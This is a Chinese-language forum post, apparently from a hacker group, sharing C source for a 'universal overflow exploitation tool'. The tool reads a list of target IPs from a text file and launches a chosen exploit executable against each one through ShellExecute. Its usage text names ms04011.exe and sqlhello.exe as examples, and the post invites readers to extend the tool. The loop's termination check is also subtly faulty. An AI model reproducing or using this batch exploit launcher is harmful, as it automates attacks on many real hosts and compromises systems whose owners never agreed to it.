其实这个程序很简单,只需要处理以下三个问题即可: 1.处理从txt文件中读入IP(利用fscanf按行读入,利用链表结构来出来保存问题) 2.处理对不同的EXP输入控制参数(其实这个刚开始我很头痛,后来发现利用双引号的技巧就可以解决) 3.利用程序调用到相应的EXP,并输入相应的命令行参数(shellexecute函数 可以办到)
PS:代码帖出来,希望对大家有用,如果有谁在它的基础上加了新功能,希望我能收到你的一份代码,谢谢,请发到:sunlion@eviloctal.com
*********************SunLion@EST在XP+VC6.0编译成功******************
#include #include #define LEN sizeof(struct DATAIP) struct DATAIP //定义一个链表结构来保存读入的IP { char dataLine[30]; struct DATAIP *next; }; //read function struct DATAIP *ReadIp( char *fileName ) //这个子函数负责读入指定的IP文件放到链表中 { struct DATAIP *p1 = NULL; struct DATAIP *p2 = NULL; struct DATAIP *head = NULL; FILE *fp = NULL; int num = 0;
if( (p1 = p2 = (struct DATAIP *)malloc(LEN)) == NULL ) { printf( "create mem error...\n" ); exit(-1); } if( (fp = fopen( fileName , "r" )) == NULL ) { printf( "open the %s error...\n" , fileName ); exit(-1); } fscanf(fp , "%s" , p1->dataLine ); while( !feof(fp) ) { num = num + 1; if( num == 1 ) head = p1; else p2->next = p1; p2 = p1; p1 = (struct DATAIP *)malloc(LEN); fscanf( fp , "%s" , p1->dataLine ); } p2->next = NULL; return (head); } //Usage function void usage(char *p) //自己看 { printf( "Usage:\t%s\t [head] file after exp\t\n" "\t head------EXP的前缀参数(多个参数需要用双引号刮起来)\t\n" "\t file------保存攻击IP的文件的全名(.txt)\t\n" "\t after------EXP的后缀参数(多个参数需要用双引号刮起来)\t\n" "\t exp------exp的文件全名(.exe)\t\n" "有前缀参数:%s 0 file.txt \"1234 192.168.0.253\" ms04011.exe\t\n" "无前缀参数:%s file.txt \"1433 192.168.0.253 1234\" sqlhello.exe\t\n" ,p,p,p); }
int main(int argc, char **argv) { char x[100]; struct DATAIP *AttackIP; printf( " *************************************************************\r\n" " * 通用溢出利用工具 V1.0 commover.exe *\r\n" " * Welcome To EvilOctalSecurityTeam *\r\n" " * http://www.eviloctal.com ; *\r\n" " *design:SunLion[EST] http://sunlion.126.com ; *\r\n" " *Thanks:无锋之刃[EST] 风泽[EST] http://www.blacksky.cn ;*\r\n" " *************************************************************\r\n" ); if((argc!=4)&&(argc!=5)) { usage(argv[0]); return -1; } if(argc==4) { AttackIP = ReadIp(argv[1]); while(AttackIP->dataLine !=NULL) { sprintf(x,"%s %s",AttackIP->dataLine,argv[2]); printf("%s %s\n",argv[3],x); ShellExecute(NULL,"open",argv[3],x,NULL,SW_SHOWNORMAL); //关键 AttackIP =AttackIP->next ; ZeroMemory(x,100); } } else if(argc==5) { AttackIP = ReadIp(argv[2]); while(AttackIP->dataLine !=NULL) { sprintf(x,"%s %s %s",argv[1],AttackIP->dataLine,argv[3]); printf("%s %s\n",argv[4],x); ShellExecute(NULL,"open",argv[4],x,NULL,SW_SHOWNORMAL);//关键 AttackIP =AttackIP->next ; ZeroMemory(x,100); } } return 1;
}
|